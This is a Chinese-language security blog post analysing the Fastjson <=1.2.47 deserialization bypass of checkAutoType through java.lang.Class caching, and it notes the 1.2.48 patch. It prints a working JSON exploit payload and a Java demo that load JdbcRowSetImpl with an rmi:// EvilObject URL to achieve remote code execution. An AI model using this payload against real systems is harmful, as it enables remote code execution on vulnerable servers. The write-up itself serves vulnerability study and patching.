0%

FastJson反序列化回顾系列(六)

1.2.46版本中将org.apache.ibatis.datasource.jndi.JndiDataSourceFactory添加进黑名单,使得利用失败。此时出现了不开启autotype的情况下成功的绕过checkAutoType,且通杀1.2.47以前的所有版本。

整个复现系列的payload放在了github上。

漏洞信息

影响版本

  • fastjson <= 1.2.47

漏洞分析

该漏洞是通过绕过了checkAutoType的检查,从而成功利用。这个时候先来看看之前提到过的四块。


之前在fastjson回顾系列二中利用的是autotype开启的情况下,最终进入红框的loadClass,从而RCE的。而此次利用的是autotype未开启的情况下,利用第二个绿色框来达到RCE的。接下来具体看看

它首先利用了java.lang.class这个类,它并不在黑名单,所以可以过checkAutotype。过了checkAutotype之后,它对应的deserializer为MiscCodeC。如下所示:

跟进deserialze函数

在经过判断lexer.stringVal()的值是”val”为真的情况下,经过parser.parse(),取出其值,即”com.sun.rowset.JdbcRowSetImpl”。如下所示:

接着往下走,经过一系列判断,最终到达TypeUtils.loadClass函数。

此时的strVal为前面获取到的”com.sun.rowset.JdbcRowSetImpl”,跟进它

由于cache值默认为true,则进入mapping.put(className,clazz),将”com.sun.rowset.JdbcRowSetImpl”与com.sun.rowset.JdbcRowSetImpl类对应起来。

然后继续反序列化,直接解析到{"@type":"com.sun.rowset.JdbcRowSetImpl"}时,进入checkAutoType函数,由于autotype默认是关闭的,因此直接进入绿色的框,如下所示:

跟进getClassFromMapping()函数。

此时clazz为com.sun.rowset.JdbcRowSetImpl类从而直接return了。

到这里为止就绕过了checkAutoType的检查,后续就与之前一致了。

EXP构造

根据上面的分析,exp分为2部分,一部分是将”com.sun.rowset.JdbcRowSetImpl”放入mapping中,另一个就是正常的获取到”com.sun.rowset.JdbcRowSetImpl”,且调用setAutoCommit函数。

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1/EvilObject",
"autoCommit":true
}
}

完整的demo:

jdbcrowsetimpl5

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

//@dependency{fastjson:1.2.47}
public class jdbcrowsetimpl5 {
public static void main(String args[]) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilObject\",\"autoCommit\":true}}}";
Object res = JSON.parse(payload);

}
}

所有在黑名单中的类都可以用这种方式绕过,包括TemplatesImplJndiDataSourceFactory

补丁

1.2.48版本中修复了1.2.47的绕过,在MiscCodec,设置了cache为false。

参考